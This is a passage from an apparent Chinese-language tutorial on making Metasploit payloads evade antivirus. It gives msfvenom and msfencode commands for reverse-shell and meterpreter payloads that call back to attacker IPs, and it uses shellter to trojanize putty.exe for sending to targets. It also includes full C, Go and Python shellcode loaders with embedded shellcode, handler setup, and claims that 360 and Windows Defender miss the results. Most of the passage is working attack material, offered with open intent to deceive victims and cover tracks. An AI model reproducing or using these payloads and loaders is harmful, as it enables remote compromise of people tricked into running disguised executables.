    buf += "\x42\x07\xc5\x77\xdc\x52\xd6\xc7\x9d\x7b\x62\xba\x1c"

    buf += "\x62\x3c\xde\xad\x96\x03\x55\xde\x9d\x52\x5c\x5d\x0c"

    buf += "\x73\x0e\xc3\x4c\xae\x7d\x1c\x7c\x64\xaf\xbb\xce\xa6"

    buf += "\x02\x0e\xb1\x51\xc4\x2d\x1b\x6b\xb7\x7c\xd9\x4b\xc3"

    buf += "\x8c\x43\xd6\x1b\x2a\x4f\x5e\x0a\x9a\xd5\x4d\x45\x64"

    buf += "\x6c\x0c\xc8\xf5\x59\xd7\x45\x36\x85\x99\x8d\x34\x65"

    buf += "\x21\xd3\x3b\x35\xce\x22\x29\x0c\x4e\xca\x48\x3f\x55"

    buf += "\x5d\x1b\xda\x35\xc1\x2d"

    // at your call site, you can send the shellcode directly to the C

    // function by converting it to a pointer of the correct type.

    shellcode := []byte(buf)

C.call((*C.char)(unsafe.Pointer(&shellcode[0])))

}

以上就是全部代码

5.杀毒测试

在代码所在目录cmd执行go build得到二进制文件（或者可以用go build -ldflags="-s -w"减小体积，go build -ldflags="-H windowsgui -s -w"去掉命令窗口）

可以看到360的静态查杀和动态查杀都没有发现

可以看到完全是没问题的，体积比python编译出来的小的多，编译出来是500多kb，然后经过upx压缩了一下（测试upx压缩后功能依旧正常），降低到了200多kb

0x12  一次加密多次加密，免杀

root@bt:/# msfpayload windows/shell_reverse_tcp LHOST=192.168.1.101 LPORT=31337 R |msfencode -e x86/shikata_ga_nai  -t exe > /var/www/payload2.exe

R : 指定payload输出raw数据因为要加密，
payload的选择以及参数设置不用说. |为管道. 

 -e 后面是msfencode的加密方法,

-t exe为msfencode的输出类型.

>后面是输出文件的路径

这是一次加密。

多次加密如下：

root@bt:/opt/framework3/msf3# msfpayload windows/meterpreter/reverse_tcp
LHOST=192.168.1.101 LPORT=31337 R | msfencode -e x86/shikata_ga_nai -c 5
-t raw
| msfencode -e x86/alpha_upper -c 2
-t raw | msfencode -e
x86/shikata_ga_nai -c 5
-t raw | msfencode -e x86/countdown -c 5
-t exe -o /var/www/payload3.exe

但是要保证除最后一次生成需要的文件类型之外，中间管道的输入数据类型都必须是RAW数据。msfpayload输出raw数据使用参数R.  msfencode输出raw数据使用参数 -t raw

 

 

0x13 avet免杀项目

1.avet 项目地址

https://github.com/govolution/avet

2.下载avet

git clone https://github.com/govolution/avet

3.生成

./build/build_win32_shell_rev_tcp_shikata_fopen_kaspersky.sh

需要修改下要使用的sh文件的IP

LHOST 本地IP

LPORT 本地监听端口

msfvenom -p windows/meterpreter/reverse_httpslhost=172.16.75.239lport=443 -e x86

生成的文件大小 118k。一般般

kali 开启监听模式

windows7 X86 CN 测试环境

除了小红伞病毒库不是最新其他都是最新的。

大约运行30分钟后，360报毒了。

 

0x14 使用 SHARPMETER反弹SHELL

1.项目地址

https://github.com/vvalien/SharpMeter

2.使用KALI监听

msfvenom -p windows/meterpreter/reverse_winhttps lhost=172.16.75.239 lport=5555 -f hex

WINDOWS:

SharpMeter.py embed maohou.css fce8820 2000005356686c29247effd585c074c28b0701c385c075e558c35fe807ffffff3100370032002e00310036002e00370035002e003200330039000000bbf0b5a2566a0053ffd5 -m -w

KALI 开启监听

3.windows执行

然后就成功了！经过测试：Windows Defender／360杀毒 不拦截。

 

0x15 shellter免杀

现在我们利用shellter来对木马进行免杀,我下载了shellter的windows程序,下载我们要注入的软件，我们这里选择putty.exe

首先，解压刚刚下载的shellter的压缩包，将putty.exe放入shellter的解压文件夹内

双击shellter，运行它
第一项，要你选择操作模式，这里选a
第二项，要你选谁是否开启在线版本检查，这里选n
然后选择要注入的目标，这里为putty.exe

我们会发现注入语句一直在增加，一般需要几十秒钟就准备好了

然后会要你选择是否要使用隐身模式，这里选y

选择一个攻击载荷(payloads)，这里的攻击载荷在msfconsole中都可以找到

custom表示自定义要注入的代码，这个功能我也没用过

我们选择L，然后选择1，也就是配置比较简单了meterpreter_reverse_tcp这个攻击载荷

要为攻击载荷配置LHOST，也就是入侵者IP和LPORT入侵者端口

然后我们等待一下，出现这么画面，那么就说明攻击载荷注入成功！

此时我们得到一个新的putty.exe，虽然它的名字没有变，但是它已经携带木马了，接下来就各显神通的发送给你要渗透的人！！

进入kali，开启msfconsole

在命令终端输入如下命令：

root@kali:~#msfconsole

msf > use exploit/multi/handler

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 192.168.88.128

msf exploit(handler) > set LPORT 2223

msf exploit(handler) > exploit

当带有木马的putty.exe被点击打开时，比如目标要使用putty的ssh，打开了putty。

那么我们就可以获得远程控制会话！！

此时我们再用virscan来扫描一下，看看有多少个杀毒引擎会报毒

发现只有三个杀毒引擎报毒

木马的隐藏性大大增强了，国内的主流杀毒软件都被绕过，我们再在本地用360杀毒软件扫描一下

因为我们的木马进程是寄托在putty这个进程下的，如果putty一关闭，我们就失去了这个会话了，所有我们要做的第一件事是将它转移到不会在短时间内关闭的进程中!

这里我把它移动到进程号为516的一个服务中，确保我有足够的时间做坏事和擦除自己留下的痕迹！！

其实kali中也一样可以运行shellter，需要wine的支持:

root@kali：~# apt-get update

root@kali：~# apt-get install shellter

安装完后，直接在命令中输入shellter

0x16  编译免杀c#源码进行反弹meterterprter

环境：

1.Kali攻击机IP：192.168.114.140

2.使用win7生成exe

步骤：

使用msfvenom生成shellcode ：

msfvenom -pwindows/meterpreter/reverse_http lhost=192.168.114.140 lport=5555 -f c

win7中使用Visual studio创建Win32控制台项目（如果装了gcc，也可以使用gcc编译）：

选择空项目

添加cpp文件

 

复制刚刚用msfvenom命令所生产的shellcode到cpp文件中，代码如下：

#include "windows.h" 

#include "stdio.h" 

 

//#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//不显示窗口

//#pragma comment(linker,"/MERGE:.rdata=.text /MERGE:.data=.text /SECTION:.text,EWR")//减小编译体积

//shellcode在生成payload时选择c即可 

 

unsigned char shellcode[]= 

"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30" 

"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" 

"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52" 

"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1" 

"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b" 

"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03" 

"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b" 

"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24" 

"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb" 

"\x8d\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c" 

"\x77\x26\x07\xff\xd5\x31\xdb\x53\x53\x53\x53\x53\x68\x3a\x56" 

"\x79\xa7\xff\xd5\x53\x53\x6a\x03\x53\x53\x68\xb3\x15\x00\x00" 

"\xe8\x6a\x01\x00\x00\x2f\x57\x65\x56\x69\x48\x48\x4e\x41\x6f" 

"\x4f\x51\x36\x76\x54\x75\x38\x59\x37\x52\x73\x4d\x41\x38\x68" 

"\x72\x6a\x33\x30\x67\x39\x42\x41\x6c\x42\x35\x66\x45\x68\x33" 

"\x66\x2d\x65\x68\x69\x6e\x46\x42\x33\x45\x4d\x59\x59\x79\x7a" 

"\x46\x34\x53\x34\x6c\x50\x74\x4f\x57\x6a\x4e\x63\x46\x6b\x6f" 

"\x73\x47\x6e\x70\x53\x50\x53\x6e\x33\x64\x73\x53\x7a\x6e\x2d" 

"\x41\x2d\x50\x56\x39\x74\x2d\x6f\x58\x4f\x56\x45\x30\x47\x55" 

"\x61\x63\x34\x61\x41\x68\x42\x53\x67\x57\x58\x69\x6c\x71\x52" 

"\x33\x6b\x6b\x59\x59\x56\x63\x42\x4d\x37\x75\x79\x4f\x70\x38" 

"\x45\x5f\x4d\x70\x44\x30\x35\x39\x4b\x4b\x6b\x4b\x49\x6c\x6a" 

"\x48\x51\x50\x2d\x4d\x32\x75\x64\x4e\x58\x47\x63\x51\x35\x5a" 

"\x4b\x49\x41\x42\x43\x59\x6f\x55\x72\x53\x77\x34\x4e\x59\x35" 

"\x48\x46\x41\x49\x78\x63\x63\x41\x69\x73\x6c\x43\x4c\x44\x76" 

"\x57\x5f\x77\x64\x32\x67\x39\x68\x4d\x51\x54\x31\x39\x50\x50" 

"\x50\x53\x41\x41\x4f\x51\x55\x6b\x68\x4e\x63\x56\x46\x7a\x2d" 

"\x4c\x4a\x47\x38\x52\x58\x38\x61\x6f\x4c\x6b\x2d\x4b\x34\x77" 

"\x46\x48\x72\x00\x50\x68\x57\x89\x9f\xc6\xff\xd5\x89\xc6\x53" 

"\x68\x00\x02\x60\x84\x53\x53\x53\x57\x53\x56\x68\xeb\x55\x2e" 

"\x3b\xff\xd5\x96\x6a\x0a\x5f\x53\x53\x53\x53\x56\x68\x2d\x06" 

"\x18\x7b\xff\xd5\x85\xc0\x75\x14\x68\x88\x13\x00\x00\x68\x44" 

"\xf0\x35\xe0\xff\xd5\x4f\x75\xe1\xe8\x4c\x00\x00\x00\x6a\x40" 

"\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x53\x68\x58\xa4\x53" 

"\xe5\xff\xd5\x93\x53\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53" 

"\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xcf\x8b\x07\x01" 

"\xc3\x85\xc0\x75\xe5\x58\xc3\x5f\xe8\x7f\xff\xff\xff\x31\x39" 

"\x32\x2e\x31\x36\x38\x2e\x31\x31\x34\x2e\x31\x34\x30\x00\xbb" 

"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"; 

  

void main() 

{ 

    LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 

    memcpy(Memory, shellcode, sizeof(shellcode)); 

((void(*)())Memory)(); 

}

编译前设置项目属性如下（否则报错缺少相应的dll）：

最后生成exe文件

Kali使用msf做监听：

use exploit/multi/handler

set payloadwindows/meterpreter/reverse_http

set LHOST 192.168.114.140

set LPORT 5555

exploit -j 在计划任务下进行渗透攻击(攻击将在后台进行)

当在目标主机执行后会回连Kali攻击机 192.168.114.140的5555端口：

 

0x17  python编译shellcode免杀

> msfvenom -p windows/meterpreter/reverse_tcp LPORT=443 LHOST=192.168.2.222 -e x86/shikata_ga_nai -i 11 -f py -o C:/luan/luan.py

 

DL is deprecated, please use Fiddle

No platform was selected, choosing Msf::Module::Platform::Windows from the payload

No Arch selected, selecting Arch: x86 from the payload

Found 1 compatible encoders

Attempting to encode payload with 11 iterations of x86/shikata_ga_nai

x86/shikata_ga_nai succeeded with size 360 (iteration=0)

x86/shikata_ga_nai succeeded with size 387 (iteration=1)

x86/shikata_ga_nai succeeded with size 414 (iteration=2)

x86/shikata_ga_nai succeeded with size 441 (iteration=3)

x86/shikata_ga_nai succeeded with size 468 (iteration=4)

x86/shikata_ga_nai succeeded with size 495 (iteration=5)

x86/shikata_ga_nai succeeded with size 522 (iteration=6)

x86/shikata_ga_nai succeeded with size 549 (iteration=7)

x86/shikata_ga_nai succeeded with size 576 (iteration=8)

x86/shikata_ga_nai succeeded with size 603 (iteration=9)

x86/shikata_ga_nai succeeded with size 630 (iteration=10)

x86/shikata_ga_nai chosen with final size 630

Payload size: 630 bytes

Saved as: C:/luan/luan.py

C:\PentestBox\bin\metasploit-framework

然后打开luan.py，修改成这样子：

from ctypes import *

import ctypes

buf =""

buf += "\xda\xca\xb8\x17\x5d\x14\x92\xd9\x74\x24\xf4\x5d\x29"

buf += "\xc9\xb1\x97\x31\x45\x1a\x03\x45\x1a\x83\xed\xfc\xe2"

buf += "\xe2\xe6\x30\x37\xec\xba\xe0\xf0\x35\xc8\x36\x0b\x98"

buf += "\x00\xfe\x42\xb3\x52\x5d\xb7\xb0\xc9\x4f\x34\x7f\xa8"

buf += "\x6d\x6c\xd1\x7b\x77\xcd\x6d\x92\x35\x6a\x79\x41\x1d"

buf += "\x16\x66\x6f\x97\xce\x5e\x17\xb3\xef\xdc\x73\xcb\xdb"

buf += "\x3c\xd5\x6d\xfd\x01\x37\x1c\x73\xbf\x36\x58\xd4\x58"

buf += "\x12\xce\x52\x67\x6c\xdb\x18\x8a\x25\xfa\x9f\x7d\xa3"

buf += "\x9c\x49\xd9\xde\x7d\xc8\x1e\x10\xea\xff\x48\x4f\x31"

buf += "\xb5\x13\x18\x05\x9b\x21\x7f\xd1\xd2\xae\x85\x96\x03"

buf += "\x41\xcb\x11\x11\x70\x45\x0c\x64\xc3\xf5\xd8\x8f\x63"

buf += "\x18\x82\xc3\xee\x9a\x08\xac\x37\xa0\xed\x1a\x57\x25"

buf += "\x76\xd4\xde\xc0\x17\xa8\xeb\x1b\x12\x3c\x00\xf3\xf4"

buf += "\xa2\x90\x60\xd6\x2d\x62\xb8\xbc\x32\xf3\x9d\x2b\x8a"

buf += "\xd8\x8a\x27\x24\xc0\xfa\xd7\x72\xb1\x73\xc1\x91\x66"

buf += "\xb8\x86\x61\x16\x12\x11\x32\x59\xd1\x20\x8f\x34\x26"

buf += "\xd6\x98\xda\xc8\xfe\xcb\x91\xec\xb0\x5e\xd8\xa1\x8c"

buf += "\x10\x95\xbd\x00\x81\x0c\xd9\x7a\xb1\xf3\xf6\x45\x0d"

buf += "\x0f\x88\x5f\x9a\xd5\xf6\xbc\xd6\xfd\xa2\xb1\xef\x66"

buf += "\xac\x1e\xa6\x28\x6c\x09\x14\xe8\x0c\x7f\xb6\x0a\x3a"

buf += "\x4c\xf6\xc2\xbd\xd2\x0e\xea\x59\x2a\x69\x2c\x42\x62"

buf += "\x18\x78\x8b\x32\x20\xb7\x46\x46\xa1\xbe\x0a\x9e\xa4"

buf += "\x38\x74\x6d\x3d\x23\x0b\x2e\xd3\x76\xe6\x21\xb1\x69"

buf += "\x5c\x55\x9e\xac\xa8\x04\x0b\x50\x7f\x99\x10\x72\x21"

buf += "\xf5\x51\x99\xc0\xc2\x25\x5f\x06\x7a\x8a\xa9\x5e\xf4"

buf += "\x5b\xe9\x6b\xc8\x50\xc1\xc5\x49\x89\x2a\x3a\x70\x0c"

buf += "\xb0\x50\x0d\xa2\xa9\x18\xff\x30\xd9\x19\xdc\xb8\x9a"

buf += "\xa1\x3e\x7c\x8f\xe0\x3e\xdf\xc5\x93\x18\x83\x25\x99"

buf += "\x10\xab\xa3\x03\x98\xba\x83\x8f\x65\x83\xa2\xbb\x79"

buf += "\x2f\xd7\xe1\xb1\xdb\xde\x59\xca\x4f\xa5\xb5\xfd\xa8"

buf += "\x22\xdd\xa6\x41\xee\xcd\x8c\xaa\xb6\xf7\x24\xe9\xe0"

buf += "\x9a\x0d\x59\x77\x81\x3f\x14\x60\x7e\xdd\x42\xd8\x9e"

buf += "\x19\x96\x52\x5b\xca\x91\x28\xc0\x53\x48\x50\x8d\x51"

buf += "\xa8\x23\x1b\x37\xdc\xd3\x7d\x8e\xc5\xd3\x2c\x05\xf2"

buf += "\x8e\xb7\xf7\x68\xe1\x12\x6c\x9d\x6e\xb4\x98\x7c\x58"

buf += "\xfa\xf2\x5f\x89\xd0\x99\xaf\xa5\x52\x6f\x25\xd3\x9b"

buf += "\xa7\xa1\xaa\x56\x24\x75\xe3\x5f\x16\x02\x22\x10\xd0"

buf += "\xb0\x83\xc4\xf9\xa0\x35\xfd\xce\x5d\x80\xbd\x4b\x43"

buf += "\xf2\xf2\x61\x72\xba\xe7\x4a\xd3\xa9\x0e\x83\x3f\xc9"

buf += "\x44\x41\x1f\xf2\x01\x28\x60\x5c\x01\xcd\x64\x20\x97"

buf += "\xa6\x64\xb4\x3d\x2b\xdb\x78\xf4\xa4\xfd\x39\xb9\x9d"

buf += "\x0c\x53\x3b\x08\xb7\x8a\x97\x85\xa5\x10\x4b\xca\x60"

buf += "\x51\xca\xb0\x50\xce\xf4\x2e\xbb\x59\xa6\x4b\x29\xe5"

buf += "\x19\x90\xe1\x31\xc6\xaa\x6b\xfe\xd3\xdd\xd9\x9c\xf9"

buf += "\xae\xfc\x3a\x10\x50\x85\xf4\xc6\xa0\x54\x9d\x76\x1e"

buf += "\x95\xad\x4e\x77\x6d\xd6\x75\x2b\x6f\x12\x58\x3f\xde"

buf += "\x3a\x72\xd1\x90\x65\xa8\x11\x60\x0e\x22\x60\xeb\x7a"

buf += "\xc7\x13\x6f\xaf\x56\x5b\x71\xdc\xa2\x6a\x7d\xfa\x42"

buf += "\x90\x82\x01\xd5\x98\x6d"

 

#libc = CDLL('libc.so.6')

PROT_READ = 1

PROT_WRITE = 2

PROT_EXEC = 4

def executable_code(buffer):

buf = c_char_p(buffer)

    size = len(buffer)

addr = libc.valloc(size)

addr = c_void_p(addr)

if 0 == addr: 

raise Exception("Failed to allocate memory")

memmove(addr, buf, size)

if 0 != libc.mprotect(addr, len(buffer), PROT_READ | PROT_WRITE | PROT_EXEC):

raise Exception("Failed to set protection on buffer")

return addr

VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc

VirtualProtect = ctypes.windll.kernel32.VirtualProtect

shellcode = bytearray(buf)

whnd = ctypes.windll.kernel32.GetConsoleWindow()

if whnd != 0:

      if 666==666:

           ctypes.windll.user32.ShowWindow(whnd, 0)   

           ctypes.windll.kernel32.CloseHandle(whnd)

print ".................................."*666

memorywithshell = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),

ctypes.c_int(len(shellcode)),

ctypes.c_int(0x3000),

ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

old = ctypes.c_long(1)

VirtualProtect(memorywithshell, ctypes.c_int(len(shellcode)),0x40,ctypes.byref(old))

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(memorywithshell),

                               buf,

ctypes.c_int(len(shellcode)))

shell = cast(memorywithshell, CFUNCTYPE(c_void_p))

print "Code By Luan"

shell()

下载pywin32 解压运行，一直点下一步就可以了。

下载pyinstall 解压然后执行：（这里注意路径中不要带中文，Win10貌似需要管理员权限运行）

C:\Luan>cd C:\pyinstaller-2.0

C:\pyinstaller-2.0>python PyInstaller.py --console --onefile msf.py

然后就能在C:\pyinstaller-2.0\luan\dist目录下找到luan.exe，免杀。

如果生成不成功，或者生成的exe运行不了等问题，请重新安装环境，确保是32位的环境。

发给朋友测试测试：